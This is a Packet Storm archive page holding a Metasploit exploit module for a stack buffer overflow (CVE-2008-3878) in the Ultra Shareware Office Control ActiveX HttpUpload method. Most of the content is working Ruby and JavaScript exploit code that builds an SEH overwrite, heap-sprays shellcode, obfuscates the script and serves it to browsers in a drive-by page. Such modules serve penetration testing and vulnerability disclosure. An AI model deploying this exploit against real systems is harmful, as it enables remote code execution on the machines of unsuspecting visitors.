what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow

Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow
Posted Mar 5, 2010
Authored by shinnai, jduck | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in Ultra Shareware's Office Control. When processing the 'HttpUpload' method, the arguments are concatenated together to form a command line to run a bundled version of cURL. If the command fails to run, a stack-based buffer overflow occurs when building the error message. This is due to the use of sprintf() without proper bounds checking. NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload into memory unmodified.

tags | exploit, overflow
advisories | CVE-2008-3878
SHA-256 | 8a257918eee93537e405cc218701960973136185e85d5e2b8f61efc33ae7b6b3

Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow

Change Mirror Download
##
# $Id: ultraoffice_httpupload.rb 8705 2010-03-04 06:19:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Ultra Shareware's Office
Control. When processing the 'HttpUpload' method, the arguments are concatenated
together to form a command line to run a bundled version of cURL. If the command
fails to run, a stack-based buffer overflow occurs when building the error
message. This is due to the use of sprintf() without proper bounds checking.

NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
into memory unmodified.
},
'License' => MSF_LICENSE,
'Author' => [ 'shinnai', 'jduck' ],
'Version' => '$Revision: 8705 $',
'References' =>
[
[ 'CVE', '2008-3878' ],
[ 'OSVDB', '47866' ],
[ 'BID', '30861' ],
[ 'URL', 'http://www.exploit-db.com/exploits/6318' ]
],
'Payload' =>
{
'Space' => 4096,
'BadChars' => "\x00",
# For HttpUpload args: "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# Tested with ActiveX v2.0.0.1020 and v2.0.2008.801
[ 'Windows Universal',
{
'Ret' => 0x0c0c0c0c # heap sprayed
# 0x746C15A9 # p/p/r in msls31.dll
# EEK, Safe SEH! 0x220118c2 # p/p/r in OfficeCtrl.ocx
}
],
],
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)

# ActiveX parameters
progid = "Ultra.OfficeControl"
clsid = "00989888-BB72-4E31-A7C6-5F819C24D2F7"

# Set parameters
fnname = rand_text_alpha(8+rand(8))
arg1 = rand_text_alphanumeric(128)
arg2 = rand_text_alphanumeric(4096) * 10
seh_offset = 252

# Build the exploit buffer
sploit = rand_text_alphanumeric(seh_offset)
sploit << generate_seh_record(target.ret)

# Encode variables
sploit = Rex::Text.to_hex(sploit, '%')
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Prepare the heap spray parameters
spray_addr = target.ret
spray_num = "0x%x" % spray_addr

# Generate the final javascript
js = %Q|
function #{fnname}()
{
try {
var obj = new ActiveXObject("#{progid}");
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
var arg1 = my_unescape("#{arg1}");
var arg2 = my_unescape("#{arg2}");
var sploit = my_unescape("#{sploit}");
obj.HttpUpload(arg1, arg2, sploit);
} catch( e ) { window.location = 'about:blank' ; }
}
|

# Obfuscate the javascript
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.obfuscate()

# Build the final HTML
content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
Please wait...
</body>
</html>
|

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end

end
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close